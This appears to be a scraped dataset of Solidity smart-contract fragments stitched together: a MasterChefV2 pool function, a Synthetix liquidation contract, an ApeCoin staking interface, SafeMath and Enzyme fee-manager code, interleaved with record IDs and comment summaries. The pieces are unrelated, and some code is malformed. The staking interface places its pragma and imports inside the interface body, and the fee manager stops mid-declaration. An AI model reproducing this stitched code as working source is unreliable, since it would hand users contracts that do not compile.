./partial_match/56/0x734AA7125017A2E712AE816ca9F81D5aF01192f2/sources/MasterChefV2.sol
Add a new lp to the pool. Can only be called by the owner.
function add(uint256 _allocPoint, IBEP20 _lpToken, uint16 _depositFeeBP, bool _withUpdate) public onlyOwner nonDuplicated(_lpToken) { require(_depositFeeBP <= 400, "add: invalid deposit fee basis points"); if (_withUpdate) { massUpdatePools(); } uint256 lastRewardBlock = block.number > startBlock ? block.number : startBlock; totalAllocPoint = totalAllocPoint.add(_allocPoint); poolExistence[_lpToken] = true; poolInfo.push(PoolInfo({ lpToken : _lpToken, allocPoint : _allocPoint, lastRewardBlock : lastRewardBlock, accBlzdPerShare : 0, depositFeeBP : _depositFeeBP })); }
11,283,816
pragma solidity ^0.5.16; // Inheritance import "./Owned.sol"; import "./MixinResolver.sol"; import "./MixinSystemSettings.sol"; import "./interfaces/ILiquidator.sol"; // Libraries import "./SafeDecimalMath.sol"; // Internal references import "./interfaces/IERC20.sol"; import "./interfaces/ISynthetix.sol"; import "./interfaces/IExchangeRates.sol"; import "./interfaces/IIssuer.sol"; import "./interfaces/ISystemStatus.sol"; /// @title Upgrade Liquidation Mechanism V2 (SIP-148) /// @notice This contract is a modification to the existing liquidation mechanism defined in SIP-15 contract Liquidator is Owned, MixinSystemSettings, ILiquidator { using SafeMath for uint; using SafeDecimalMath for uint; struct LiquidationEntry { uint deadline; address caller; } /* ========== ADDRESS RESOLVER CONFIGURATION ========== */ bytes32 private constant CONTRACT_SYSTEMSTATUS = "SystemStatus"; bytes32 private constant CONTRACT_SYNTHETIX = "Synthetix"; bytes32 private constant CONTRACT_ISSUER = "Issuer"; bytes32 private constant CONTRACT_EXRATES = "ExchangeRates"; /* ========== CONSTANTS ========== */ bytes32 public constant CONTRACT_NAME = "Liquidator"; // Storage keys bytes32 public constant LIQUIDATION_DEADLINE = "LiquidationDeadline"; bytes32 public constant LIQUIDATION_CALLER = "LiquidationCaller"; constructor(address _owner, address _resolver) public Owned(_owner) MixinSystemSettings(_resolver) {} /* ========== VIEWS ========== */ function resolverAddressesRequired() public view returns (bytes32[] memory addresses) { bytes32[] memory existingAddresses = MixinSystemSettings.resolverAddressesRequired(); bytes32[] memory newAddresses = new bytes32[](4); newAddresses[0] = CONTRACT_SYSTEMSTATUS; newAddresses[1] = CONTRACT_SYNTHETIX; newAddresses[2] = CONTRACT_ISSUER; newAddresses[3] = CONTRACT_EXRATES; addresses = combineArrays(existingAddresses, newAddresses); } function synthetix() internal view returns (ISynthetix) { return ISynthetix(requireAndGetAddress(CONTRACT_SYNTHETIX)); } function systemStatus() internal view returns (ISystemStatus) { return ISystemStatus(requireAndGetAddress(CONTRACT_SYSTEMSTATUS)); } function issuer() internal view returns (IIssuer) { return IIssuer(requireAndGetAddress(CONTRACT_ISSUER)); } function exchangeRates() internal view returns (IExchangeRates) { return IExchangeRates(requireAndGetAddress(CONTRACT_EXRATES)); } function issuanceRatio() external view returns (uint) { return getIssuanceRatio(); } function liquidationDelay() external view returns (uint) { return getLiquidationDelay(); } function liquidationRatio() external view returns (uint) { return getLiquidationRatio(); } function liquidationEscrowDuration() external view returns (uint) { return getLiquidationEscrowDuration(); } function liquidationPenalty() external view returns (uint) { return getLiquidationPenalty(); } function selfLiquidationPenalty() external view returns (uint) { return getSelfLiquidationPenalty(); } function liquidateReward() external view returns (uint) { return getLiquidateReward(); } function flagReward() external view returns (uint) { return getFlagReward(); } function liquidationCollateralRatio() external view returns (uint) { return SafeDecimalMath.unit().divideDecimalRound(getLiquidationRatio()); } function getLiquidationDeadlineForAccount(address account) external view returns (uint) { LiquidationEntry memory liquidation = _getLiquidationEntryForAccount(account); return liquidation.deadline; } function getLiquidationCallerForAccount(address account) external view returns (address) { LiquidationEntry memory liquidation = _getLiquidationEntryForAccount(account); return liquidation.caller; } /// @notice Determines if an account is eligible for forced or self liquidation /// @dev An account is eligible to self liquidate if its c-ratio is below the target c-ratio /// @dev An account with no SNX collateral will not be open for liquidation since the ratio is 0 function isLiquidationOpen(address account, bool isSelfLiquidation) external view returns (bool) { uint accountCollateralisationRatio = synthetix().collateralisationRatio(account); // Not open for liquidation if collateral ratio is less than or equal to target issuance ratio if (accountCollateralisationRatio <= getIssuanceRatio()) { return false; } if (!isSelfLiquidation) { LiquidationEntry memory liquidation = _getLiquidationEntryForAccount(account); // Open for liquidation if the deadline has passed and the user has enough SNX collateral. if (_deadlinePassed(liquidation.deadline) && _hasEnoughSNX(account)) { return true; } return false; } return true; } function isLiquidationDeadlinePassed(address account) external view returns (bool) { LiquidationEntry memory liquidation = _getLiquidationEntryForAccount(account); return _deadlinePassed(liquidation.deadline); } function _deadlinePassed(uint deadline) internal view returns (bool) { // check deadline is set > 0 // check now > deadline return deadline > 0 && now > deadline; } /// @notice Checks if an account has enough SNX balance to be considered open for forced liquidation. function _hasEnoughSNX(address account) internal view returns (bool) { uint balance = IERC20(address(synthetix())).balanceOf(account); return balance > (getLiquidateReward().add(getFlagReward())); } /** * r = target issuance ratio * D = debt balance * V = Collateral * P = liquidation penalty * Calculates amount of synths = (D - V * r) / (1 - (1 + P) * r) */ function calculateAmountToFixCollateral( uint debtBalance, uint collateral, uint penalty ) external view returns (uint) { uint ratio = getIssuanceRatio(); uint unit = SafeDecimalMath.unit(); uint dividend = debtBalance.sub(collateral.multiplyDecimal(ratio)); uint divisor = unit.sub(unit.add(penalty).multiplyDecimal(ratio)); return dividend.divideDecimal(divisor); } // get liquidationEntry for account // returns deadline = 0 when not set function _getLiquidationEntryForAccount(address account) internal view returns (LiquidationEntry memory _liquidation) { _liquidation.deadline = flexibleStorage().getUIntValue(CONTRACT_NAME, _getKey(LIQUIDATION_DEADLINE, account)); // This is used to reward the caller for flagging an account for liquidation. _liquidation.caller = flexibleStorage().getAddressValue(CONTRACT_NAME, _getKey(LIQUIDATION_CALLER, account)); } function _getKey(bytes32 _scope, address _account) internal pure returns (bytes32) { return keccak256(abi.encodePacked(_scope, _account)); } /* ========== MUTATIVE FUNCTIONS ========== */ // totalIssuedSynths checks synths for staleness // check snx rate is not stale function flagAccountForLiquidation(address account) external rateNotInvalid("SNX") { systemStatus().requireSystemActive(); require(getLiquidationRatio() > 0, "Liquidation ratio not set"); require(getLiquidationDelay() > 0, "Liquidation delay not set"); LiquidationEntry memory liquidation = _getLiquidationEntryForAccount(account); require(liquidation.deadline == 0, "Account already flagged for liquidation"); uint accountsCollateralisationRatio = synthetix().collateralisationRatio(account); // if accounts issuance ratio is greater than or equal to liquidation ratio set liquidation entry require( accountsCollateralisationRatio >= getLiquidationRatio(), "Account issuance ratio is less than liquidation ratio" ); uint deadline = now.add(getLiquidationDelay()); _storeLiquidationEntry(account, deadline, msg.sender); emit AccountFlaggedForLiquidation(account, deadline); } /// @notice This function is called by the Issuer to remove an account's liquidation entry /// @dev The Issuer must check if the account's c-ratio is fixed before removing function removeAccountInLiquidation(address account) external onlyIssuer { LiquidationEntry memory liquidation = _getLiquidationEntryForAccount(account); if (liquidation.deadline > 0) { _removeLiquidationEntry(account); } } /// @notice External function to allow anyone to remove an account's liquidation entry /// @dev This function checks if the account's c-ratio is OK and that the rate of SNX is not stale function checkAndRemoveAccountInLiquidation(address account) external rateNotInvalid("SNX") { systemStatus().requireSystemActive(); LiquidationEntry memory liquidation = _getLiquidationEntryForAccount(account); require(liquidation.deadline > 0, "Account has no liquidation set"); uint accountsCollateralisationRatio = synthetix().collateralisationRatio(account); // Remove from liquidator if accountsCollateralisationRatio is fixed (less than equal target issuance ratio) if (accountsCollateralisationRatio <= getIssuanceRatio()) { _removeLiquidationEntry(account); } } function _storeLiquidationEntry( address _account, uint _deadline, address _caller ) internal { // record liquidation deadline and caller flexibleStorage().setUIntValue(CONTRACT_NAME, _getKey(LIQUIDATION_DEADLINE, _account), _deadline); flexibleStorage().setAddressValue(CONTRACT_NAME, _getKey(LIQUIDATION_CALLER, _account), _caller); } /// @notice Only delete the deadline value, keep caller for flag reward payout function _removeLiquidationEntry(address _account) internal { flexibleStorage().deleteUIntValue(CONTRACT_NAME, _getKey(LIQUIDATION_DEADLINE, _account)); emit AccountRemovedFromLiquidation(_account, now); } /* ========== MODIFIERS ========== */ modifier onlyIssuer() { require(msg.sender == address(issuer()), "Liquidator: Only the Issuer contract can perform this action"); _; } modifier rateNotInvalid(bytes32 currencyKey) { require(!exchangeRates().rateIsInvalid(currencyKey), "Rate invalid or not a synth"); _; } /* ========== EVENTS ========== */ event AccountFlaggedForLiquidation(address indexed account, uint deadline); event AccountRemovedFromLiquidation(address indexed account, uint time); }
get liquidationEntry for account returns deadline = 0 when not set This is used to reward the caller for flagging an account for liquidation.
function _getLiquidationEntryForAccount(address account) internal view returns (LiquidationEntry memory _liquidation) { _liquidation.deadline = flexibleStorage().getUIntValue(CONTRACT_NAME, _getKey(LIQUIDATION_DEADLINE, account)); _liquidation.caller = flexibleStorage().getAddressValue(CONTRACT_NAME, _getKey(LIQUIDATION_CALLER, account)); }
12,578,127
./full_match/1/0xcdFc5902589dF05E272e0b2eeDA1c46C8DA61e19/sources/contracts/interfaces/IStakeManager.sol
bot strategy staking
interface IStakeManager { event FeeRatioChanged(uint256 newRatio); event FeeRecipientChanged(address newRecipient); event BotAdminChanged(address newAdmin); event RewardsStrategyChanged(address nft, address newStrategy); event WithdrawStrategyChanged(address newStrategy); event Compounded(bool isClaimCoinPool, uint256 claimedNfts); function stBayc() external view returns (IStakedNft); function stMayc() external view returns (IStakedNft); function stBakc() external view returns (IStakedNft); function totalStakedApeCoin() external view returns (uint256); function totalPendingRewards() external view returns (uint256); function totalRefund() external view returns (uint256 principal, uint256 reward); function refundOf(address nft_) external view returns (uint256 principal, uint256 reward); function stakedApeCoin(uint256 poolId_) external view returns (uint256); function pendingRewards(uint256 poolId_) external view returns (uint256); function pendingFeeAmount() external view returns (uint256); function fee() external view returns (uint256); function feeRecipient() external view returns (address); function updateFee(uint256 fee_) external; function updateFeeRecipient(address recipient_) external; function updateBotAdmin(address bot_) external; function updateRewardsStrategy(address nft_, IRewardsStrategy rewardsStrategy_) external; function updateWithdrawStrategy(IWithdrawStrategy withdrawStrategy_) external; function withdrawApeCoin(uint256 required) external returns (uint256); function mintStNft(IStakedNft stNft_, address to_, uint256[] calldata tokenIds_) external; function calculateFee(uint256 rewardsAmount_) external view returns (uint256 feeAmount); function stakeApeCoin(uint256 amount_) external; function unstakeApeCoin(uint256 amount_) external; function claimApeCoin() external; function stakeBayc(uint256[] calldata tokenIds_) external; function unstakeBayc(uint256[] calldata tokenIds_) external; function claimBayc(uint256[] calldata tokenIds_) external; function stakeMayc(uint256[] calldata tokenIds_) external; function unstakeMayc(uint256[] calldata tokenIds_) external; function claimMayc(uint256[] calldata tokenIds_) external; function stakeBakc( IApeCoinStaking.PairNft[] calldata baycPairs_, IApeCoinStaking.PairNft[] calldata maycPairs_ ) external; function unstakeBakc( IApeCoinStaking.PairNft[] calldata baycPairs_, IApeCoinStaking.PairNft[] calldata maycPairs_ ) external; function claimBakc( IApeCoinStaking.PairNft[] calldata baycPairs_, IApeCoinStaking.PairNft[] calldata maycPairs_ ) external; function withdrawRefund(address nft_) external; function withdrawTotalRefund() external; pragma solidity 0.8.18; import {IApeCoinStaking} from "./IApeCoinStaking.sol"; import {IRewardsStrategy} from "./IRewardsStrategy.sol"; import {IWithdrawStrategy} from "./IWithdrawStrategy.sol"; import {IStakedNft} from "./IStakedNft.sol"; struct NftArgs { uint256[] bayc; uint256[] mayc; IApeCoinStaking.PairNft[] baycPairs; IApeCoinStaking.PairNft[] maycPairs; } struct CompoundArgs { bool claimCoinPool; NftArgs claim; NftArgs unstake; NftArgs stake; uint256 coinStakeThreshold; } }
3,034,941
// SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b > a) return (false, 0); return (true, a - b); } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a / b); } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a % b); } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) return 0; uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: modulo by zero"); return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); return a - b; } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryDiv}. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a % b; } } // SPDX-License-Identifier: GPL-3.0 /* This file is part of the Enzyme Protocol. (c) Enzyme Council <[email protected]> For the full license information, please view the LICENSE file that was distributed with this source code. */ pragma solidity 0.6.12; /// @title IExternalPositionVault interface /// @author Enzyme Council <[email protected]> /// Provides an interface to get the externalPositionLib for a given type from the Vault interface IExternalPositionVault { function getExternalPositionLibForType(uint256) external view returns (address); } // SPDX-License-Identifier: GPL-3.0 /* This file is part of the Enzyme Protocol. (c) Enzyme Council <[email protected]> For the full license information, please view the LICENSE file that was distributed with this source code. */ pragma solidity 0.6.12; /// @title IFreelyTransferableSharesVault Interface /// @author Enzyme Council <[email protected]> /// @notice Provides the interface for determining whether a vault's shares /// are guaranteed to be freely transferable. /// @dev DO NOT EDIT CONTRACT interface IFreelyTransferableSharesVault { function sharesAreFreelyTransferable() external view returns (bool sharesAreFreelyTransferable_); } // SPDX-License-Identifier: GPL-3.0 /* This file is part of the Enzyme Protocol. (c) Enzyme Council <[email protected]> For the full license information, please view the LICENSE file that was distributed with this source code. */ pragma solidity 0.6.12; /// @title IMigratableVault Interface /// @author Enzyme Council <[email protected]> /// @dev DO NOT EDIT CONTRACT interface IMigratableVault { function canMigrate(address _who) external view returns (bool canMigrate_); function init( address _owner, address _accessor, string calldata _fundName ) external; function setAccessor(address _nextAccessor) external; function setVaultLib(address _nextVaultLib) external; } // SPDX-License-Identifier: GPL-3.0 /* This file is part of the Enzyme Protocol. (c) Enzyme Council <[email protected]> For the full license information, please view the LICENSE file that was distributed with this source code. */ pragma solidity 0.6.12; /// @title IFundDeployer Interface /// @author Enzyme Council <[email protected]> interface IFundDeployer { function getOwner() external view returns (address); function hasReconfigurationRequest(address) external view returns (bool); function isAllowedBuySharesOnBehalfCaller(address) external view returns (bool); function isAllowedVaultCall( address, bytes4, bytes32 ) external view returns (bool); } // SPDX-License-Identifier: GPL-3.0 /* This file is part of the Enzyme Protocol. (c) Enzyme Council <[email protected]> For the full license information, please view the LICENSE file that was distributed with this source code. */ pragma solidity 0.6.12; import "../vault/IVault.sol"; /// @title IComptroller Interface /// @author Enzyme Council <[email protected]> interface IComptroller { function activate(bool) external; function calcGav() external returns (uint256); function calcGrossShareValue() external returns (uint256); function callOnExtension( address, uint256, bytes calldata ) external; function destructActivated(uint256, uint256) external; function destructUnactivated() external; function getDenominationAsset() external view returns (address); function getExternalPositionManager() external view returns (address); function getFeeManager() external view returns (address); function getFundDeployer() external view returns (address); function getGasRelayPaymaster() external view returns (address); function getIntegrationManager() external view returns (address); function getPolicyManager() external view returns (address); function getVaultProxy() external view returns (address); function init(address, uint256) external; function permissionedVaultAction(IVault.VaultAction, bytes calldata) external; function preTransferSharesHook( address, address, uint256 ) external; function preTransferSharesHookFreelyTransferable(address) external view; function setGasRelayPaymaster(address) external; function setVaultProxy(address) external; } // SPDX-License-Identifier: GPL-3.0 /* This file is part of the Enzyme Protocol. (c) Enzyme Council <[email protected]> For the full license information, please view the LICENSE file that was distributed with this source code. */ pragma solidity 0.6.12; import "../../../../persistent/vault/interfaces/IExternalPositionVault.sol"; import "../../../../persistent/vault/interfaces/IFreelyTransferableSharesVault.sol"; import "../../../../persistent/vault/interfaces/IMigratableVault.sol"; /// @title IVault Interface /// @author Enzyme Council <[email protected]> interface IVault is IMigratableVault, IFreelyTransferableSharesVault, IExternalPositionVault { enum VaultAction { None, // Shares management BurnShares, MintShares, TransferShares, // Asset management AddTrackedAsset, ApproveAssetSpender, RemoveTrackedAsset, WithdrawAssetTo, // External position management AddExternalPosition, CallOnExternalPosition, RemoveExternalPosition } function addTrackedAsset(address) external; function burnShares(address, uint256) external; function buyBackProtocolFeeShares( uint256, uint256, uint256 ) external; function callOnContract(address, bytes calldata) external returns (bytes memory); function canManageAssets(address) external view returns (bool); function canRelayCalls(address) external view returns (bool); function getAccessor() external view returns (address); function getOwner() external view returns (address); function getActiveExternalPositions() external view returns (address[] memory); function getTrackedAssets() external view returns (address[] memory); function isActiveExternalPosition(address) external view returns (bool); function isTrackedAsset(address) external view returns (bool); function mintShares(address, uint256) external; function payProtocolFee() external; function receiveValidatedVaultAction(VaultAction, bytes calldata) external; function setAccessorForFundReconfiguration(address) external; function setSymbol(string calldata) external; function transferShares( address, address, uint256 ) external; function withdrawAssetTo( address, address, uint256 ) external; } // SPDX-License-Identifier: GPL-3.0 /* This file is part of the Enzyme Protocol. (c) Enzyme Council <[email protected]> For the full license information, please view the LICENSE file that was distributed with this source code. */ pragma solidity 0.6.12; /// @title IExtension Interface /// @author Enzyme Council <[email protected]> /// @notice Interface for all extensions interface IExtension { function activateForFund(bool _isMigration) external; function deactivateForFund() external; function receiveCallFromComptroller( address _caller, uint256 _actionId, bytes calldata _callArgs ) external; function setConfigForFund( address _comptrollerProxy, address _vaultProxy, bytes calldata _configData ) external; } // SPDX-License-Identifier: GPL-3.0 /* This file is part of the Enzyme Protocol. (c) Enzyme Council <[email protected]> For the full license information, please view the LICENSE file that was distributed with this source code. */ pragma solidity 0.6.12; pragma experimental ABIEncoderV2; import "@openzeppelin/contracts/math/SafeMath.sol"; import "../../core/fund/comptroller/IComptroller.sol"; import "../../core/fund/vault/IVault.sol"; import "../../utils/AddressArrayLib.sol"; import "../utils/ExtensionBase.sol"; import "../utils/PermissionedVaultActionMixin.sol"; import "./IFee.sol"; import "./IFeeManager.sol"; /// @title FeeManager Contract /// @author Enzyme Council <[email protected]> /// @notice Manages fees for funds /// @dev Any arbitrary fee is allowed by default, so all participants must be aware of /// their fund's configuration, especially whether they use official fees only. /// Fees can only be added upon fund setup, migration, or reconfiguration. contract FeeManager is IFeeManager, ExtensionBase, PermissionedVaultActionMixin { using AddressArrayLib for address[]; using SafeMath for uint256; event FeeEnabledForFund( address indexed comptrollerProxy, address indexed fee, bytes settingsData ); event FeeSettledForFund( address indexed comptrollerProxy, address indexed fee, SettlementType indexed settlementType, address payer, address payee, uint256 sharesDue ); event SharesOutstandingPaidForFund( address indexed comptrollerProxy, address indexed fee, address indexed payee, uint256 sharesDue ); mapping(address => address[]) private comptrollerProxyToFees; mapping(address => mapping(address => uint256)) private comptrollerProxyToFeeToSharesOutstanding; constructor(address _fundDeployer) public ExtensionBase(_fundDeployer) {} // EXTERNAL FUNCTIONS /// @notice Activate already-configured fees for use in the calling fund function activateForFund(bool) external override { address comptrollerProxy = msg.sender; address vaultProxy = getVaultProxyForFund(comptrollerProxy); address[] memory enabledFees = getEnabledFeesForFund(comptrollerProxy); for (uint256 i; i < enabledFees.length; i++) { IFee(enabledFees[i]).activateForFund(comptrollerProxy, vaultProxy); } } /// @notice Deactivate fees for a fund /// @dev There will be no fees if the caller is not a valid ComptrollerProxy function deactivateForFund() external override { address comptrollerProxy = msg.sender; address vaultProxy = getVaultProxyForFund(comptrollerProxy); // Force payout of remaining shares outstanding address[] memory fees = getEnabledFeesForFund(comptrollerProxy); for (uint256 i; i < fees.length; i++) { __payoutSharesOutstanding(comptrollerProxy, vaultProxy, fees[i]); } } /// @notice Allows all fees for a particular FeeHook to implement settle() and update() logic /// @param _hook The FeeHook to invoke /// @param _settlementData The encoded settlement parameters specific to the FeeHook /// @param _gav The GAV for a fund if known in the invocating code, otherwise 0 function invokeHook( FeeHook _hook, bytes calldata _settlementData, uint256 _gav ) external override { __invokeHook(msg.sender, _hook, _settlementData, _gav, true); } /// @notice Receives a dispatched `callOnExtension` from a fund's ComptrollerProxy /// @param _actionId An ID representing the desired action /// @param _callArgs Encoded arguments specific to the _actionId /// @dev This is the only way to call a function on this contract that updates VaultProxy state. /// For both of these actions, any caller is allowed, so we don't use the caller param. function receiveCallFromComptroller( address, uint256 _actionId, bytes calldata _callArgs ) external override { if (_actionId == 0) { // Settle and update all continuous fees __invokeHook(msg.sender, IFeeManager.FeeHook.Continuous, "", 0, true); } else if (_actionId == 1) { __payoutSharesOutstandingForFees(msg.sender, _callArgs); } else { revert("receiveCallFromComptroller: Invalid _actionId"); } } /// @notice Enable and configure fees for use in the calling fund /// @param _comptrollerProxy The ComptrollerProxy of the fund /// @param _vaultProxy The VaultProxy of the fund /// @param _configData Encoded config data /// @dev The order of `fees` determines the order in which fees of the same FeeHook will be applied. /// It is recommended to run ManagementFee before PerformanceFee in order to achieve precise /// PerformanceFee calcs. function setConfigForFund( address _comptrollerProxy, address _vaultProxy, bytes calldata _configData ) external override onlyFundDeployer { __setValidatedVaultProxy(_comptrollerProxy, _vaultProxy); (address[] memory fees, bytes[] memory settingsData) = abi.decode( _configData, (address[], bytes[]) ); // Sanity checks require( fees.length == settingsData.length, "setConfigForFund: fees and settingsData array lengths unequal" ); require(fees.isUniqueSet(), "setConfigForFund: fees cannot include duplicates"); // Enable each fee with settings for (uint256 i; i < fees.length; i++) { // Set fund config on fee IFee(fees[i]).addFundSettings(_comptrollerProxy, settingsData[i]); // Enable fee for fund comptrollerProxyToFees[_comptrollerProxy].push(fees[i]); emit FeeEnabledForFund(_comptrollerProxy, fees[i], settingsData[i]); } } // PRIVATE FUNCTIONS /// @dev Helper to get the canonical value of GAV if not yet set and required by fee function __getGavAsNecessary(address _comptrollerProxy, uint256 _gavOrZero) private returns (uint256 gav_) { if (_gavOrZero == 0) { return IComptroller(_comptrollerProxy).calcGav(); } else { return _gavOrZero; } } /// @dev Helper to run settle() on all enabled fees for a fund that implement a given hook, and then to /// optionally run update() on the same fees. This order allows fees an opportunity to update /// their local state after all VaultProxy state transitions (i.e., minting, burning, /// transferring shares) have finished. To optimize for the expensive operation of calculating /// GAV, once one fee requires GAV, we recycle that `gav` value for subsequent fees. /// Assumes that _gav is either 0 or has already been validated. function __invokeHook( address _comptrollerProxy, FeeHook _hook, bytes memory _settlementData, uint256 _gavOrZero, bool _updateFees ) private { address[] memory fees = getEnabledFeesForFund(_comptrollerProxy); if (fees.length == 0) { return; } address vaultProxy = getVaultProxyForFund(_comptrollerProxy); // This check isn't strictly necessary, but its cost is insignificant, // and helps to preserve data integrity. require(vaultProxy != address(0), "__invokeHook: Fund is not active"); // First, allow all fees to implement settle() uint256 gav = __settleFees( _comptrollerProxy, vaultProxy, fees, _hook, _settlementData, _gavOrZero ); // Second, allow fees to implement update() // This function does not allow any further altering of VaultProxy state // (i.e., burning, minting, or transferring shares) if (_updateFees) { __updateFees(_comptrollerProxy, vaultProxy, fees, _hook, _settlementData, gav); } } /// @dev Helper to get the end recipient for a given fee and fund function __parseFeeRecipientForFund( address _comptrollerProxy, address _vaultProxy, address _fee ) private view returns (address recipient_) { recipient_ = IFee(_fee).getRecipientForFund(_comptrollerProxy); if (recipient_ == address(0)) { recipient_ = IVault(_vaultProxy).getOwner(); } return recipient_; } /// @dev Helper to payout the shares outstanding for the specified fees. /// Does not call settle() on fees. /// Only callable via ComptrollerProxy.callOnExtension(). function __payoutSharesOutstandingForFees(address _comptrollerProxy, bytes memory _callArgs) private { address[] memory fees = abi.decode(_callArgs, (address[])); address vaultProxy = getVaultProxyForFund(msg.sender); for (uint256 i; i < fees.length; i++) { if (IFee(fees[i]).payout(_comptrollerProxy, vaultProxy)) { __payoutSharesOutstanding(_comptrollerProxy, vaultProxy, fees[i]); } } } /// @dev Helper to payout shares outstanding for a given fee. /// Assumes the fee is payout-able. function __payoutSharesOutstanding( address _comptrollerProxy, address _vaultProxy, address _fee ) private { uint256 sharesOutstanding = getFeeSharesOutstandingForFund(_comptrollerProxy, _fee); if (sharesOutstanding == 0) { return; } delete comptrollerProxyToFeeToSharesOutstanding[_comptrollerProxy][_fee]; address payee = __parseFeeRecipientForFund(_comptrollerProxy, _vaultProxy, _fee); __transferShares(_comptrollerProxy, _vaultProxy, payee, sharesOutstanding); emit SharesOutstandingPaidForFund(_comptrollerProxy, _fee, payee, sharesOutstanding); } /// @dev Helper to settle a fee function __settleFee( address _comptrollerProxy, address _vaultProxy, address _fee, FeeHook _hook, bytes memory _settlementData, uint256 _gav ) private { (SettlementType settlementType, address payer, uint256 sharesDue) = IFee(_fee).settle( _comptrollerProxy, _vaultProxy, _hook, _settlementData, _gav ); if (settlementType == SettlementType.None) { return; } address payee; if (settlementType == SettlementType.Direct) { payee = __parseFeeRecipientForFund(_comptrollerProxy, _vaultProxy, _fee); __transferShares(_comptrollerProxy, payer, payee, sharesDue); } else if (settlementType == SettlementType.Mint) { payee = __parseFeeRecipientForFund(_comptrollerProxy, _vaultProxy, _fee); __mintShares(_comptrollerProxy, payee, sharesDue); } else if (settlementType == SettlementType.Burn) { __burnShares(_comptrollerProxy, payer, sharesDue); } else if (settlementType == SettlementType.MintSharesOutstanding) { comptrollerProxyToFeeToSharesOutstanding[_comptrollerProxy][_fee] = comptrollerProxyToFeeToSharesOutstanding[_comptrollerProxy][_fee] .add(sharesDue); payee = _vaultProxy; __mintShares(_comptrollerProxy, payee, sharesDue); } else if (settlementType == SettlementType.BurnSharesOutstanding) { comptrollerProxyToFeeToSharesOutstanding[_comptrollerProxy][_fee] = comptrollerProxyToFeeToSharesOutstanding[_comptrollerProxy][_fee] .sub(sharesDue); payer = _vaultProxy; __burnShares(_comptrollerProxy, payer, sharesDue); } else { revert("__settleFee: Invalid SettlementType"); } emit FeeSettledForFund(_comptrollerProxy, _fee, settlementType, payer, payee, sharesDue); } /// @dev Helper to settle fees that implement a given fee hook function __settleFees( address _comptrollerProxy, address _vaultProxy, address[] memory _fees, FeeHook _hook, bytes memory _settlementData, uint256 